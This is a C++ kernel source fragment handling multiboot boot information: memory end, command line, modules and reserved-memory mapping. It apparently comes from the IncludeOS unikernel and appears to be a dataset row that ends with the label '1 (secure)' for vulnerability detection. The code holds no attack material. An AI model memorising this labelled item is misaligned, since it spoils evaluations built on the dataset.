#if defined(ARCH_aarch64)
  uint32_t dummy[24];
  uintptr_t __multiboot_addr=(uintptr_t)&dummy[0];
#else
  extern uint32_t __multiboot_addr;
#endif

static inline multiboot_info_t* bootinfo(uint32_t addr)
{
  // NOTE: the address is 32-bit and not a pointer
  return (multiboot_info_t*) (uintptr_t) addr;
}

multiboot_info_t* kernel::bootinfo()
{
  return (multiboot_info_t*) (uintptr_t) __multiboot_addr;
}

uintptr_t _multiboot_memory_end(uintptr_t boot_addr) {
  auto* info = bootinfo(boot_addr);
  if (info->flags & MULTIBOOT_INFO_MEMORY) {
    return 0x100000 + (info->mem_upper * 1024);
  }
  return os::Arch::max_canonical_addr;
}

// Deterimine the end of multiboot provided data
// (e.g. multiboot's data area as offset to the _end symbol)
uintptr_t _multiboot_free_begin(uintptr_t boot_addr)
{
  const auto* info = bootinfo(boot_addr);
  uintptr_t multi_end = reinterpret_cast<uintptr_t>(&_end);

  debug(""* Multiboot begin: 0x%x \n"", info);
  if (info->flags & MULTIBOOT_INFO_CMDLINE
      and info->cmdline > multi_end)
  {
    debug(""* Multiboot cmdline @ 0x%x: %s \n"", info->cmdline, (char*)info->cmdline);
    // We can't use a cmdline that's either insde our ELF or pre-ELF area
    Expects(info->cmdline > multi_end
            or info->cmdline < 0x100000);

    if (info->cmdline > multi_end) {
      auto* cmdline_ptr = (const char*) (uintptr_t) info->cmdline;
      // Set free begin to after the cmdline string,
      // but only if the cmdline is placed after image end
      const uintptr_t cmdline_end = info->cmdline + strlen(cmdline_ptr) + 1;
      if (cmdline_end > multi_end) multi_end = cmdline_end;
    }
  }

  debug(""* Multiboot end: 0x%x \n"", multi_end);
  if (info->mods_count == 0) {
      return multi_end;
  }

  auto* mods_list = (multiboot_module_t*) (uintptr_t) info->mods_addr;
  debug(""* Module list @ %p \n"",mods_list);

  for (auto* mod = mods_list; mod < mods_list + info->mods_count; mod ++)
  {
    debug(""\t * Module @ %#x \n"", mod->mod_start);
    debug(""\t * Args: %s \n "", (char*) (uintptr_t) mod->cmdline);
    debug(""\t * End: %#x \n "", mod->mod_end);

    if (mod->mod_end > multi_end)
      multi_end = mod->mod_end;
  }

  debug(""* Multiboot end: 0x%x \n"", multi_end);
  return multi_end;
}

void kernel::multiboot_mmap(void* start, size_t size)
{
	const gsl::span<multiboot_memory_map_t> mmap {
        (multiboot_memory_map_t*) start,
        (int) (size / sizeof(multiboot_memory_map_t))
    };

    for (const auto& map : mmap)
    {
      const char* str_type = map.type & MULTIBOOT_MEMORY_AVAILABLE ? ""FREE"" : ""RESERVED"";
      const uintptr_t addr = map.addr;
      const uintptr_t size = map.len;
      INFO2(""  0x%010zx - 0x%010zx %s (%zu Kb.)"",
            map.addr, map.addr + map.len - 1, str_type, map.len / 1024 );

      if ((map.type & MULTIBOOT_MEMORY_AVAILABLE) == 0)
	  {
        if (util::bits::is_aligned<4_KiB>(map.addr)) {
          os::mem::map({addr, addr, os::mem::Access::read | os::mem::Access::write, size},
                       ""Reserved (Multiboot)"");
          continue;
        }
        // For non-aligned addresses, assign
        os::mem::vmmap().assign_range({map.addr, map.addr + map.len-1, ""Reserved (Multiboot)""});
      }
      else
      {
        // Map as free memory
      }
    }
}",1 (secure)